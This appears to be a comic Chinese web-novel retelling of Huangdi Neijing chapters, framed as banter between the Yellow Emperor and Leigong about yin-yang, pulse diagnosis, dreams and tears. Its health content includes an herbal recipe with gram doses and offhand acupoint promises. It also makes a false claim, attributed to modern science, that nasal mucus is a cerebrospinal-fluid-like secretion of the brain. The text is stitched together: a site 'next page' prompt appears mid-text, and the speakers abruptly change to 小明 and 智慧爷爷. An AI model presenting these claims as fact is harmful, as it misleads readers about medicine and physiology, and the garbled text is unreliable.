黄帝：三阳独至啊，那就是阳气太盛了，就像你吃了三斤辣椒一样，火辣辣地疼。这时候你的身体就像被火烧了一样，基本上就剩下“烤焦”的份儿了。时间嘛，大概就在石头都冻成冰块的时候。而二阴独至呢，那就是阴气太盛了，就像你吃了三斤冰激凌一样，冷得直打哆嗦。这时候你的身体就像被冻住了一样，基本上就剩下“冰封”的份儿了。时间嘛，大概就在水都结成冰的时候。所以啊，无论是三阳独至还是二阴独至，都不是什么好事儿，还是希望大家都能保持阴阳平衡，身体健康才是硬道理啊！ 雷公听得津津有味：陛下，您真是太厉害了！今天听了您的讲解，我真是受益匪浅啊！ 黄帝微笑着点头：嗯，能听到你这么说，我也很欣慰。不过呢，我还是要提醒你一句：虽然我能通过阴阳理论来预测一些疾病的发展趋势，但并不能完全决定一个人的生死。因为人的命运是掌握在自己手中的，只有保持良好的生活习惯和心态，才能真正做到“长命百岁”啊！ 雷公连连点头，赞同地说：对对对，陛下说得对！我以后一定好好保养身体，绝不让病魔有机可乘！ 就这样，雷公在黄帝的耐心讲解下，终于明白了“短期”预测的真谛。原来啊，这并不是什么神秘莫测的法术，而是通过对人体阴阳之气的观察和判断，来预测疾病的发展趋势。当然啦，这也不是绝对的，毕竟人的命运还是掌握在自己手中的嘛！所以啦，大家还是要好好保养身体哦！别等到病魔找上门来才后悔莫及啊！ 方盛衰论篇第八十（一） 有一天，雷公又带着他那颗好奇宝宝的心，找到了黄帝：“陛下，我有个问题想请教您。您老是说，气这个东西，它到底是多了好，还是少了妙？还有啊，它要是乱跑，咱们怎么分辨它是叛逆的小淘气，还是听话的小乖乖呢？” 黄帝一听，哈哈一笑，心想：这小子，又把问题绕成麻花了。不过，黄帝可是个有耐心的人，他缓缓开口：“雷公啊，你这问题问得好，但咱们得先从阴阳说起。你知道吗？在中医的世界里，阳就像是你早上喝的咖啡，活力满满，积极向上；而阴呢，就像是晚上那杯温热的牛奶，安静沉稳，滋养心灵。阳呢，它喜欢从左走，就像太阳从东边升起，带来生机；阴呢，则偏爱从右行，月亮从西边落下，带来宁静。这就是‘阳从左，阴从右’的奥秘。” 雷公挠挠头，似乎有点明白了，但又不完全懂：“那‘老从上，少从下’又是什么意思呢？难道是说，老人家都喜欢往天上飞，年轻人就爱往地上钻？” 黄帝一听，差点没忍住笑出声：“你这小子，想象力倒是挺丰富。其实啊，‘老从上’是指老年人的气血，往往容易往上冲，比如高血压这类问题，就像是老年人玩滑梯，一不小心就滑到顶端了；而‘少从下’呢，是说年轻人的气血旺盛，多在下焦活动，像是小树苗，根扎得深，才能长得壮。所以啊，年轻人总是精力旺盛，蹦蹦跳跳，老年人呢，就要学会修身养性，别让气血乱窜了。” 雷公恍然大悟，但又紧接着问：“那春夏秋冬和生死又有什么关系呢？难道说，春天出生，秋天就得挂掉？” 黄帝一听，摇了摇头，笑道：“非也非也。春夏秋冬，乃天地之大道，也是人体气血运行的规律。春夏之时，阳气上升，万物生长，人体也一样，气血趋向于外，生机勃勃，所以这个时候，顺应自然，养生得法，就容易生机勃勃；而秋冬呢，阴气渐盛，万物收藏，人体气血也趋向于内，收敛藏伏，若此时逆天而行，比如该休息不休息，该保暖不保暖，就容易耗伤阳气，导致生病甚至危及生命。所以说，‘春夏归阳为生，归秋冬为死’，反之亦然，如果你能在秋冬好好调养，顺应自然，也能让身体得到恢复和新生。” 雷公一听，眼睛一亮：“这么说来，气血的多少，还有它的走向，要是逆了自然规律，就会变成‘厥’？” 黄帝赞许地点点头：“正是如此，‘厥’在中医里，可以理解为气血逆乱的一种状态，轻的可能是头晕目眩，重的可能导致中风、晕厥等严重疾病。所以啊，咱们养生，就是要学会观察自己的气血，顺应自然，别让它们成了叛逆的小淘气。” 说到这里，黄帝突然话锋一转，笑道：“雷公啊，你看，中医养生就像是打游戏，你得了解游戏规则，也就是阴阳平衡、四季更替的规律，然后根据自己的角色定位，比如你是‘老年人战士’还是‘年轻人法师’，选择合适的装备和技能，也就是饮食起居、情志调节等，这样才能在游戏中升级打怪，赢得健康人生啊！” 雷公闲来无事，就跑去问黄帝：“嘿，陛下，你说那些体内能量过剩的人，会不会容易犯抽筋、厥症啥的？”黄帝一听，这话题有意思啊，便慢悠悠地回答：“你问得好啊！如果一个人体内的气只升不降，寒气直逼膝盖，那年轻人可能在秋冬季节就挂掉了，老年人呢，反而可能在这时候焕发新生。这是因为气往上冲，下不来，就会导致头痛、脑顶出问题。这种人啊，想找阳气找不到，想求阴气又拿不准，五脏六腑像被隔断了，啥症状都不明显，就像一个人孤零零地站在旷野里，或者被关在空荡荡的屋子里，那感觉，绵绵不绝，整天都提不起劲来。” 雷公一听，这描述也太抽象了吧，赶紧追问：“那这种情况还有啥表现呢？”黄帝笑了笑，接着说：“这种气虚到一定程度的厥症，还会让人做各种奇奇怪怪的梦，严重到最后连现实和梦境都分不清了。就像三阳脉断了，三阴脉微弱，这就是典型的气虚表现。你知道吗？不同脏腑气虚，做的梦都不一样，简直就是个梦境大冒险啊！” 黄帝清了清嗓子，开始他的爆笑中医梦境解读之旅：“比如说，肺气虚的人吧，梦里就会看到白色的东西，还会梦到有人被砍得血肉模糊，场面那叫一个血腥。不过呢，要是赶上肺当令的季节，那梦境就更刺激了，直接变成战争大片，自己还成了冲锋陷阵的勇士，你说这算不算是一种‘另类体验’？” 雷公一听，笑得差点岔气：“这也太逗了吧！那肾气虚呢？”黄帝接着说：“肾气虚的人啊，梦里就经常看到船啊水的，还有人溺水，吓得不行。到了肾当令的季节，更是直接梦到自己泡在水里，那种恐惧感，就像是被水鬼缠身一样，别提多刺激了！” 雷公一听，笑得前仰后合：“哎呀妈呀，这梦做得，比看电影还刺激！那肝气虚呢？”黄帝故作神秘地说：“肝气虚的人啊，梦里见到的都是绿油油的，比如菌类啊、小草啊，长得那叫一个茂盛。到了肝当令的季节，更是直接梦到自己躲在树下，连站起来的勇气都没有，生怕被什么东西给吃了，哈哈，这梦境，简直就是‘胆小鬼的日常’嘛！” 雷公已经笑得眼泪都出来了：“哈哈，这中医理论，还能这么玩！那心气虚呢？”黄帝继续他的爆笑讲解：“心气虚的人啊，梦里不是在救火，就是在看到阳刚之物，比如火把啊、火焰啥的。到了心当令的季节，更是直接梦到被大火烧，那感觉，就像是在玩‘真人版火焰山’，你说刺激不刺激？” 雷公已经笑得快喘不过气了：“哈哈，这梦境，简直就是‘火焰挑战者’啊！那脾气虚呢？”黄帝笑了笑，说：“脾气虚的人啊，梦里就老觉得饿，吃不够，就像个永远填不满的无底洞。到了脾当令的季节，更是直接梦到自己在盖房子、砌墙，那叫一个勤快，不知道的还以为他们是建筑大师呢！其实啊，这都是因为脾虚，身体在梦里‘自我补偿’呢！” 雷公听完，已经笑得直不起腰来：“哈哈，这中医理论，真是太逗了！原来五脏气虚，还能在梦里玩出这么多花样来！那这么说来，咱们只要看看一个人做的梦，就能判断出他哪个脏腑气虚了？” 黄帝点了点头，说：“你说得对，但也没那么简单。梦境只是身体状态的一个反映，要准确判断，还得结合望闻问切四诊合参，才能得出准确的结论。不过呢，通过梦境来了解自己身体的状况，也不失为一种有趣的方法，至少能提醒大家，该注意养生了！” 雷公一听，眼睛一亮：“嘿，这方法好啊！以后咱们要是看到谁做了奇怪的梦，就可以提醒他，是不是哪个脏腑气虚了，得赶紧补补！这样一来，咱们不仅能当医生，还能当心理咨询师呢！” 黄帝一听，也忍不住笑了起来：“哈哈，你这想法，倒是挺有创意的！不过啊，养生这事儿，可不是一朝一夕就能搞定的，得靠长期的坚持和努力。就像咱们中医说的，‘上医治未病’，最好的医生，是能在疾病还没发生之前，就预防它的人。” 有一天，雷公挠着头，一脸迷茫地跑到黄帝面前，就像个小学生请教老师那样，开口就问：“嘿，黄帝大大，我这心里头有个事儿，老想不明白了。你说这脉度啊、藏度啊、肉度啊、筋度啊，还有那俞度，都是啥玩意儿？能给我讲讲不？” 黄帝一听，心里头那个乐啊，心想：这家伙，问题还真不少，不过既然你这么好学，那我就给你来一堂生动的中医理论课吧！于是，黄帝清了清嗓子，摆出一副老学究的架势，慢悠悠地说：“哎呀，雷公啊，你这问题问得好，咱们中医里头啊，有个说法叫‘诊有十度度人’，这十度呢，就包括了你刚才提到的那五个，不过咱们今天就先说这五个，保证让你听完之后，恍然大悟，感觉自己都能开诊所了！” 首先，咱们说说这“脉度”。脉度啊，简单来说，就是血管的粗细、长短、软硬这些个属性。你想啊，咱们人体就像是一个错综复杂的管道系统，血液就是在这个系统里跑来跑去的小溪流。这血管要是粗了，血流就快，人就精神；要是细了，血流就慢，人就容易累。所以啊，中医看病，一摸脉，就能知道你这小溪流是顺畅还是堵得慌，这脉度的重要性，不言而喻了吧！ 接下来，咱们聊聊“藏度”。藏度啊，可不是说咱们心里藏着多少小秘密，而是指五脏六腑的大小、功能强弱。五脏六腑啊，就像是咱们身体的五大部门和一堆小助手，各有各的分工，谁也别想偷懒。比如说，心脏是泵血的发动机，肺是氧气交换站，肝是解毒工厂，肾是废水处理厂，胃是食物加工厂……这些部门要是运作顺畅，咱们身体就倍儿棒；要是哪个部门出了岔子，那可就麻烦了。所以，中医看病，还得看看你这五脏六腑是不是都在好好干活呢！ 再来说说“肉度”。肉度啊，听起来是不是像肉夹馍的厚度？哈哈，其实它是指咱们肌肉的松紧、厚薄。你想啊，肌肉就像是咱们身体的盔甲，保护着咱们的内脏，还能让咱们有力气干活。这肌肉要是紧了，人就灵活；要是松了，人就软绵绵的。所以啊，中医看病，还得瞧瞧你这盔甲是不是结实呢！ 然后，咱们谈谈“筋度”。筋度啊，可不是说你这人脾气有多倔，而是指咱们身体里的筋膜的弹性、柔韧性。筋膜就像是咱们身体的韧带，连接着骨头和肌肉，让咱们能做出各种动作。这筋膜要是弹性好，人就灵活；要是僵硬了，人就容易受伤。所以啊，中医看病，还得拉拉你的筋，看看你这韧带是不是还跟年轻时一样有弹性呢！ 咱们再说说“俞度”。俞度啊，听起来像是快递小哥送快递的速度，其实它是指咱们身体上那些穴位的敏感度。穴位就像是咱们身体的开关，按对了地方，就能调节身体的各种功能。这穴位要是敏感了，针灸效果就好；要是不敏感了，那就得费点劲了。所以啊，中医看病，还得找找你这开关好不好使呢！ 雷公这家伙，一进门，他就摆出一副求知若渴的样子，说：“嘿，陛下，我这人啊，对啥都好奇，今儿个就想问问你，那个诊有十度度人还有其他的，都说给我听听” 黄帝一听，乐了，心想这雷公平时大大咧咧的，今儿个怎么突然对医学感兴趣了？不过，黄帝可是个厚道人，既然人家问了，那就得好好给解释解释。 黄帝清了清嗓子，慢悠悠地说：“雷公啊，这事儿说起来可复杂了，不过既然你想听，那我就尽量说得简单点儿。咱们中医啊，讲究的是阴阳平衡。你看这天地万物，都离不开阴阳二字。人嘛，也是一样。阴阳气要是调和得当了，身体自然就好；要是阴阳失调了，那病也就跟着来了。” 雷公一听，挠了挠头，说：“阴阳？这玩意儿听起来好玄乎啊！” 黄帝笑了笑，说：“玄乎啥呀？我给你举个例子吧。比如说，你现在觉得热得不行，那就是阳气太盛，阴气不足了。这时候，你要是能喝上一杯冰凉的饮料，那不就舒服多了吗？这就是阴阳调和的道理。” 雷公一听，恍然大悟，说：“哦，原来是这样啊！那诊有十度到底是啥意思呢？” 黄帝说：“这诊有十度啊，其实就是咱们中医看病的一种方法。你得通过观察病人的脉象、面色、舌苔等等，来判断他身体里的阴阳气是不是平衡。要是阴阳气失调了，那脉象就会发生变化。比如说，脉象要是散而不聚，那就是阴气不足，阳气过盛了；要是脉象脱而不连，那就是阳气不足，阴气过盛了。所以啊，咱们看病的时候，得上下打量，仔细琢磨，才能找出病因，对症下药。” 雷公一听，又挠了挠头，说：“这听起来好像挺难的啊！” 黄帝说：“难啥呀？只要你肯下功夫学，啥都能学会。不过啊，有些人啊，就是不肯好好学，结果把医术给学歪了。他们看病的时候，不察阴阳逆从，只知道跟着感觉走，那能不出错吗？” 雷公一听，乐了，说：“哈哈，陛下，你这是在说我呢吧？” 黄帝说：“我可没说你啊，你自己可别对号入座。” 雷公说：“得了吧，我知道你是在提醒我。放心吧，我以后一定好好学，争取把医术学好，免得出去丢人现眼。” 黄帝一听，满意地点了点头，说：“这就对了嘛！学医啊，可不能马虎大意。你得把阴阳五行、脏腑经络这些基础知识都学扎实了，才能看病看得准。不然的话，你就是个半吊子，出去只会害人害己。” 雷公一听，连连点头，说：“对对对，陛下说得太对了！我以后一定好好学，争取成为一代名医！” 黄帝听了，哈哈大笑，说：“好小子，有志气！不过啊，你可别光说不练啊。你得实际行动起来，把那些基础知识都学透了才行。” 雷公说：“放心吧陛下，我一定说到做到！不过啊，我还有个问题想问问你。” 黄帝说：“啥问题？你说吧。” 雷公说：“你说这中医看病啊，是不是都得靠摸脉啊？我听说有些老中医摸脉可厉害了，一摸就知道你得了啥病。” 黄帝说：“摸脉啊，确实是咱们中医看病的一种重要手段。不过啊，光摸脉可不行，你还得结合病人的症状、体质、生活习惯等等来综合判断。不然的话，你就是摸得再准，也看不出个所以然来。” 方盛衰论篇第八十（二） 话说有一天，雷公这家伙，闲来无事，就跑去问黄帝：“嘿，陛下，我听说阴阳这事儿挺玄乎的，你能不能给我讲讲啊？”黄帝一听，心想：“这家伙，平时就知道打雷下雨的，现在也对阴阳感兴趣了？”不过黄帝毕竟是黄帝，很有风度地笑了笑，说：“好啊，那我就给你讲讲阴阳的那些事儿。” 黄帝清了清嗓子，开始说道：“至阴虚的时候，天气就会断绝，就像你有时候累得不行，连打雷的力气都没有了，那就是至阴虚了。反过来，至阳盛的时候，地气就会不足，想象一下，太阳晒得大地都快裂开了，那就是至阳盛的表现。” 雷公一听，眼睛瞪得圆圆的，说：“哇，这么神奇啊！那阴阳交并呢？是不是就像我打雷下雨，阴晴不定的时候？”黄帝一听，差点没笑出来，心想：“这家伙，还真会联想。”不过黄帝还是耐心地解释道：“阴阳交并，说的是阳气先至，阴气后至，就像你有时候先打雷，然后才下雨一样。但这里的阴阳交并，可不是简单的天气变化，它可是至人（就是那些懂得养生之道的高手）所行的法则。” 雷公挠了挠头，说：“我还是不太懂，这阴阳交并跟咱们有啥关系呢？”黄帝叹了口气，说：“你这家伙，平时就知道打雷，也不学学中医理论。好吧，那我就再给你讲讲。” 黄帝接着说：“圣人持诊之道，就是根据阴阳的先后顺序来诊断疾病的。就像你有时候先看到闪电，然后才听到雷声，这就是阴阳的先后顺序。在中医里，我们通过观察病人的脉象、舌象、面色等等，来判断阴阳的盛衰，从而确定病情。” 雷公一听，眼睛又亮了起来，说：“哦，原来是这样啊！那《奇恒之势》又是什么呢？”黄帝笑了笑，说：“《奇恒之势》是一本讲阴阳变化的经典，里面有六十首方子，专门用来诊断那些微妙的事情。就像你有时候打雷，声音大小、时间长短都不一样，这就需要我们仔细分辨，才能知道你是不是生气了或者累了。” 雷公一听，哈哈大笑，说：“黄帝大大，你这比喻真是太逗了！那我再问问，追阴阳之变，章五中之情，这又是什么意思呢？”黄帝摇了摇头，说：“你这家伙，问题还真多。追阴阳之变，就是说我们要根据阴阳的变化，来预测疾病的发展趋势。就像你有时候看到乌云密布，就知道快要下雨了，这就是追阴阳之变。而章五中之情，则是说我们要了解五脏的阴阳情况，因为五脏的阴阳平衡，直接关系到我们的健康。” 雷公一听，连连点头，说：“对对对，我平时打雷下雨，也是要看天气的。那其中的虚实之要呢？”黄帝笑了笑，说：“虚实之要，可是中医诊断的关键。实，就是有余；虚，就是不足。就像你有时候打雷打得太猛，那就是实；有时候雷声小得像蚊子一样，那就是虚。在中医里，我们通过判断病人的虚实，来确定治疗的方法。” 雷公一听，恍然大悟，说：“哦，原来如此！那五度之事呢？”黄帝叹了口气，说：“你这家伙，问题真是一个接一个。五度之事，就是根据阴阳的盛衰，来确定治疗的程度。就像你有时候打雷下雨，只是小打小闹，那就不用太过担心；但有时候雷电交加，狂风暴雨，那就得赶紧找个地方躲躲了。在中医里，我们也是根据病情的轻重缓急，来确定治疗的力度和方法的。” 雷公一听，连连称赞，说：“黄帝大大，你真是太厉害了！这么复杂的阴阳理论，你都能讲得这么清楚明了。那我再问最后一个问题，知此乃足以诊，这是什么意思呢？”黄帝笑了笑，说：“知此乃足以诊，就是说只要掌握了这些阴阳理论，就足以进行诊断了。就像你掌握了打雷下雨的规律，就能知道什么时候该打雷，什么时候该下雨了。” 其实啊，阴阳理论不仅仅适用于中医，它在我们生活的各个方面都有着广泛的应用。比如我们常说的“男女搭配，干活不累”，这就是阴阳互补的原理。男人属阳，女人属阴，只有男女搭配，才能达到阴阳平衡，从而发挥出最大的效率。 再比如我们常说的“心态决定一切”，这也是阴阳理论的一种体现。心态好，就像阳气充足，能够驱散内心的阴霾；心态不好，就像阴气过重，会让人陷入消极和沮丧。所以，要想保持身心健康，就要学会调节自己的心态，保持阴阳平衡。 雷公鼓足勇气，跑到黄帝面前，眨巴着大眼睛，一脸呆萌地问：“陛下，我一直搞不明白，这阴阳啊，它怎么分左右上下呢？您能给我讲讲不？” 黄帝一听，心里那叫一个乐呵，心想这雷公还真是个活宝。他清了清嗓子，故作深沉地说：“雷公啊，你这问题问得好！要想弄清楚阴阳的左右上下，咱们得先弄明白一个道理——阴阳啊，它就像是咱们生活中的左右手，少了哪个都不行，得相互配合，才能干大事儿！” 雷公一听，眼睛瞪得圆圆的，好像发现了新大陆：“啊？阴阳还能像左右手一样配合？快给我讲讲！” 黄帝笑了笑，继续说道：“你看啊，咱们中医讲究的是‘切阴不得阳，诊消亡’。这话啥意思呢？就是说啊，如果你在诊断病情的时候，只看到了阴的一面，没看到阳的一面，那病情就像是被你切掉了一半，不完 整了，治疗起来那当然就没啥效果了。所以啊，咱们得阴阳兼顾，才能找到病根儿，对症下药。” 雷公一听，恍然大悟，拍着手说：“原来如此啊！那‘得阳不得阴，守学不湛’又是啥意思呢？” 黄帝一看雷公这求知欲旺盛的样子，心里那是更乐了。他耐心地解释道：“这句话的意思是说，如果你只看到阳的一面，没看到阴的一面，那你就算学再多的医术，也不过是半吊子水平，达不到精通的程度。因为阴阳是相互依存、相互制约的，少了哪一方都不行。所以啊，咱们得阴阳平衡，才能医术高超，治病救人。” 雷公一听，连连点头，好像明白了什么大道理似的。接着他又问：“那知左不知右，知右不知左，又怎么说呢？” 黄帝一看雷公这架势，是要把阴阳学说问个底朝天啊！他想了想，幽默地说：“雷公啊，你这问题问得真是有水平！你看啊，咱们中医讲究的是整体观念，不能只看一面。就像你看一个人，不能只看他左边不看右边，或者只看右边不看左边，那样你就看不到他的全貌了。同样啊，阴阳也是如此，你得把它们看作一个整体，左右兼顾，才能把握病情的全局。” 雷公一听，笑得前仰后合，说：“黄帝大大，您这解释真是太逗了！那知上不知下，知先不知后呢？” 黄帝一看雷公这乐呵样儿，心里也是美滋滋的。他继续说道：“这话啊，其实是一个道理。你看啊，咱们中医治病啊，得上下兼顾，前后照应。不能只看到上面的症状，忽略了下面的病因；也不能只看到先前的病情，忽略了后面的发展。所以啊，咱们得全面分析，综合考虑，才能制定出最佳的治疗方案。” 雷公一听，连声称妙，说：“黄帝大大，您这一番解释啊，让我对阴阳学说那是有了新的认识！原来阴阳不仅仅是简单的对立统一，还得相互配合、相互依存啊！” 黄帝一听，满意地点点头，说：“雷公啊，你总算是明白了！其实啊，阴阳学说不仅仅是中医的基础理论，更是咱们中国人看待世界的一种哲学观念。它告诉我们啊，万事万物都是相互联系的、相互影响的，咱们得用全面的、发展的眼光去看待问题，才能找到解决问题的方法。” 雷公这位老兄，一脸好奇地凑近黄帝，眨巴眨巴眼睛，就像咱们小时候问爷爷“为啥天空是蓝色的”那样，他开口问道：“嘿，陛下，我总听你说诊断病情能‘十全’，这到底是个啥高深的道理啊？是不是跟变魔术似的，一出手就知道病人在想啥？” 黄帝一听，哈哈一笑，心想这雷公还真是调皮，不过既然你问到了，那我就给你来个中医版的“十万个为什么”吧！于是，黄帝清了清嗓子，开始了他的“中医脱口秀”： “雷公啊，你这问题问得好！要想知道‘十全’的奥秘，首先你得学会‘四知道’——知道啥是好啥是坏，就像分辨西瓜甜不甜，敲一敲听听声儿；知道谁病了谁没病，这可比侦探破案还厉害，得从蛛丝马迹中找线索；还得知道病情是轻是重，是上升还是下降，就像看股票走势图，得预判下一步是涨是跌；最后，你得知道啥时候该行动啥时候该休息，这可是人生大智慧，跟咱们中医的‘阴阳平衡’一个道理。” 雷公一听，眼睛瞪得圆圆的，心想这黄帝大大说得也太玄乎了吧？不过听起来好像挺有道理的样子。黄帝见状，继续他的“爆笑讲解”： “别急，还没完呢！你得学会‘五观察’——观察病人的坐姿站相，是不是坐没坐相站没站相，这往往能透露出身体的秘密；观察他们的行动举止，走路带不带风，那可是气血足不足的直接体现；最重要的是，你得学会观察脉象，那可是咱们中医的‘独门秘籍’，通过脉搏的跳动，就能知道身体内部的情况，比gps还准！” 雷公听得一愣一愣的，忍不住插嘴道：“哎呀，黄帝大大，你这说得也太神奇了吧？脉象还能看出这么多东西？” 黄帝笑了笑，拍了拍雷公的肩膀，说：“别急，我这还有‘三法则’呢！第一，你得知道病人哪里有余哪里不足，就像咱们吃饭，得知道自己是吃多了还是吃少了；第二，你得根据病情的轻重缓急来对症下药，这可不能马虎，得跟打仗一样，战略战术都得用上；第三，你得学会综合判断，把病人的形体、脉象、症状都结合起来分析，这样才能得出准确的诊断。” 雷公听得连连点头，心想这黄帝大大果然厉害，把中医说得跟打游戏升级似的，一环扣一环。黄帝见雷公已经入了门，便继续他的“爆笑教学”： “所以啊，诊断病情就像打游戏，你得有攻略，有技巧。你得坐在那里，稳如泰山，不急不躁，就像个老练的猎人，等待着猎物的出现；你得出入病房，行走如风，但又不失稳重，就像个优雅的舞者，在舞台上自如地穿梭。你得用心去感受病人的气息，观察他们的神情，就像读一本无字的书，从中读出他们的心声。” 雷公一听，忍不住笑了起来，心想这黄帝真是太逗了，把中医说得跟打游戏、跳舞似的。黄帝见状，也忍不住笑了起来，继续说道： “而且啊，你得学会观察脉象的滑涩、寒温，就像咱们吃火锅，得知道是麻 辣的还是清汤的；你还得观察病人的体型大小，跟挑西瓜似的，得挑个熟透了的。你得把这些都综合起来，跟病人的病情相对应，这样才能得出准确的诊断。” 雷公听得津津有味，忍不住问道：“那陛下，要是这些都做到了，是不是就能‘十全’了？” 黄帝点了点头，又摇了摇头，说：“算是吧，但还不够。你还得学会‘逆从以得’，就是根据病情的变化来调整治疗方案，不能一成不变；你还得知道病名，就像咱们认识新朋友，得知道人家叫什么名字。只有这样，你才能真正做到‘诊可十全’，不失人情。” 雷公一听，恍然大悟，心想这黄帝真是太厉害了，把中医说得这么简单又这么深奥。他忍不住拍了拍手，笑道：“陛下，你这说得太好了！我以后一定好好学习，争取也成为像你一样的中医大师！” 黄帝一听，也笑了起来，说：“好啊！那我就等着看你成为中医界的‘网红’了！不过记住啊，中医可不是一朝一夕就能学成的，得下功夫，得用心去感受。就像咱们吃美食一样，得细细品味，才能尝出其中的滋味。” 解精微论篇第八十一 话说那远古时代，黄帝悠闲地坐在明堂之上，四周云雾缭绕，仙气飘飘，仿佛整个宇宙的智慧都凝聚于此。这时，雷公，这位医术高超、胡子一大把的老先生，毕恭毕敬地走上前来，满脸虔诚地说：“陛下啊，我这一辈子，算是把医术当饭吃了，从师父那里接过了这沉甸甸的接力棒，天天拿着经书论道，讲解人体的奥秘，从从容不迫的形态到深奥难解的阴阳之理，再到那神奇的针灸之术和汤药之道，我可是倾囊相授，不敢有丝毫懈怠。但您也知道，医术这玩意儿，学起来容易，用起来难啊，碰到的病人形形色色，有听话的，有捣蛋的，想做到十全十美，难啊！ 我时常琢磨，治病之前，得先了解病人的心情，是悲是喜，是怒是忧，还得考虑外界环境，是干燥还是潮湿，是寒冷还是酷暑，更别说男女有别，阴阳平衡这些大学问了。还有啊，人的身份地位，从低到高，身体状况也是千差万别，我得像个外交官一样，跟他们打交道，灵活应变，才能让医术真正派上用场。陛下，您刚才说的那些，我都铭记于心了，不过，我还有个小小的心愿，就是那些书上没写的，或者说是比较冷门、古怪的问题，我也想听听您的见解，长长见识。” 黄帝一听，乐了，捋了捋胡须，笑道：“哈哈，雷公啊，你这问题问得好，学问嘛，本就是无边无际的海洋，咱们永远都有探索的空间。好吧，今儿个我就给你开开眼界，咱们聊聊那些‘非主流’的医学知识。” “首先，咱们说说穴位吧。你知道吗？现代人给那些古老的穴位起了些洋气的名字，比如‘太冲’，在古代那可是调节情绪的要穴，现在咱们就叫它‘情绪调节器’。要是谁心情郁闷了，你就给他按按脚背上的这个位置，保证他心情立马阴转晴。再比如‘足三里’，那可是保健大穴，古时候叫‘长寿穴’，现在人们说它是‘胃的守护神’，消化不好，脾胃虚弱的，按这里准没错。咱们换算成现代计量，大约是在小腿外侧，膝盖下三寸的地方，记得哦，三寸不是真的用尺子量三寸，而是中医里的‘同身寸’，大约就是四个手指并拢的宽度。” “再来说说方剂吧，这可是咱们中医的精髓之一。比如有个着名的‘四君子汤’，听起来就像是四位温文尔雅的君子在开会，其实是人参、白术、茯苓、甘草这四位中药好朋友手拉手，共同协作，健脾益气，治疗那些体虚气弱的朋友。这方子怎么配呢？简单说，人参9克（相当于一小撮，别贪心哦），白术9克，茯苓9克，甘草6克（甘草甜甜的，可以稍微少放点，不然太甜了怕你腻）。把这些材料洗干净，加适量水，大火煮开后转小火慢炖，就像煲一锅好汤一样，直到药香四溢，就可以喝了。记得，药虽好，可别贪杯哦！” “至于脉象嘛，那可是中医诊断的独门绝技。我给你打个比方，就像听一首没有歌词的歌，你要从旋律中感受歌手的情感。脉象也有喜怒哀乐，比如‘浮脉’，就像气球轻轻飘在水面上，一触即浮，多见于感冒初期，就像身体在告诉你：‘嘿，我感冒了，注意点哦！’；‘沉脉’呢，就像石头沉入水底，摸起来费劲，多见于里证，身体内部可能有问题了。咱们中医讲究望闻问切，这切脉啊，就是跟病人身体的一场无声对话，得用心去体会。” 说到这里，黄帝顿了顿，笑眯眯地看着雷公：“怎么样，雷公，这些知识够你消化一阵子的了吧？医学之道，博大精深，咱们得活到老，学到老，才能不负这身医术，不负苍生啊！” 雷公突然对着黄帝发问了：“陛下，您知道吗？有的人哭得稀里哗啦，眼泪鼻涕一起流，可有的人呢，哭是哭了，但鼻涕却少得可怜，这背后的原因是什么呢？” 黄帝捋了捋胡子，笑眯眯地说：“雷公啊，你问得好啊！这其中的学问，咱们中医经典里可是早有记载。不过，让我先给你打个比方，这人啊，就像一台精密的机器，每个部件都有其独特的功能和联系。” 雷公一听，眼睛一亮：“哎呀，这比喻有意思，快说说，这眼泪鼻涕是怎么跟机器部件扯上关系的？” 黄帝接着说：“好嘞，咱们先从‘心’这个核心部件说起。在中医里，心可是五脏六腑中的老大，主管着精神、意识这些高级功能，它就像机器的cpu，一切指令都得从这里发出去。而眼睛呢，就是心灵的窗户，是心的外在表现之一，就像是那显示屏，直接反映着内心的喜怒哀乐。” “哦，我明白了！”雷公一拍大腿，“那华色，就是咱们常说的气色，是心脏健康的外在体现，对吧？” “对头！”黄帝赞许地点点头，“当一个人心怀善念，品德高尚时，他的气和就会顺畅地流通到眼睛，让眼神明亮，气色红润。相反，要是心里装着事儿，忧愁烦恼，那脸色自然就暗淡无光了。” 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ “那么，说到哭泣，这又是咋回事呢？”雷公迫不及待地问。 “哈哈，你问到了重点。”黄帝笑道，“悲伤的情绪一旦上来，就像电脑突然运行了一个大型程序，cpu负荷过大，需要散热一样，咱们的身体也会通过流泪来释放这种压力。这眼泪啊，其实就是体内水分的一种表现形式，而它的源头，深藏在咱们的肾里。” “肾？肾不是管尿尿的吗？”小明一脸疑惑。 “嘿，你这小子，净说些大实话。”智慧爷爷笑着打趣道，“不过，你说得也没错，肾确实与水分代谢息息相关。在中医里，肾被称为‘水脏’，是全身水液代谢的总指挥。咱们体内那些不直接排出去的水，比如眼泪、鼻涕，都得经过肾的精细调控。而当你伤心到极点时，肾就像是被触动了开关，允许一部分水液以眼泪的形式流出，以缓解内心的痛苦。” “原来如此！”雷公恍然大悟，“那为啥有的人哭得鼻涕少呢？” “这啊，就涉及到个体差异了。”黄帝解释道，“每个人的体质不同，水液代谢的能力也不一样。有的人可能天生肾气足，水液控制得好，即使哭得再凶，鼻涕也不多。而有的人呢，可能体质偏虚，或者近期身体状况不佳，水液就容易泛滥，不仅眼泪多，鼻涕也跟着凑热闹了。” 话说啊，这水啊，它要是修炼成了精，就变成了咱们心中的那份“志”，坚定而深沉；而那火之精呢，则是咱们的神采飞扬，活力四射的“神”。这两家伙要是碰一块儿了，嘿，不得了，就像是热恋中的小情侣，情感交织，结果往往是“神志俱悲”——心里头那个五味杂陈，眼睛就开始水汪汪的，泪水说来就来。 咱们老祖宗有句话说得好：“心悲名曰志悲，志与心精，共凑于目也。”这话啥意思呢？就是说啊，当你心里难过，那份“志”的悲伤和心的精华，就像两个好朋友手拉手，一块儿跑到眼睛那儿去了。眼睛一看，哎哟，这阵仗，得表示表示啊，于是泪水就哗哗地流下来了。但这里头还有个小秘密，就是泪水不全是心直接给的，有时候心只是默默难过，而“志”这家伙特别感性，自个儿就哭了，这时候，泪水就独自流淌，成了咱们常说的“默默流泪”。 再来说说这“涕”和“泣”吧，它们俩简直就是眼泪界的“亲兄弟”。涕呢，其实是脑子的分泌物，咱们现代科学叫它“脑脊液”的亲戚，属于“阴”性物质，跟骨头里的精髓有着不解之缘。你想啊，骨髓是骨头的灵魂，滋养着我们的骨骼，而脑脊液呢，就像是脑子的润滑剂，保护着咱们的大脑。所以，当脑子受到刺激，比如伤心过度，脑脊液就会“渗”出来，变成鼻涕。 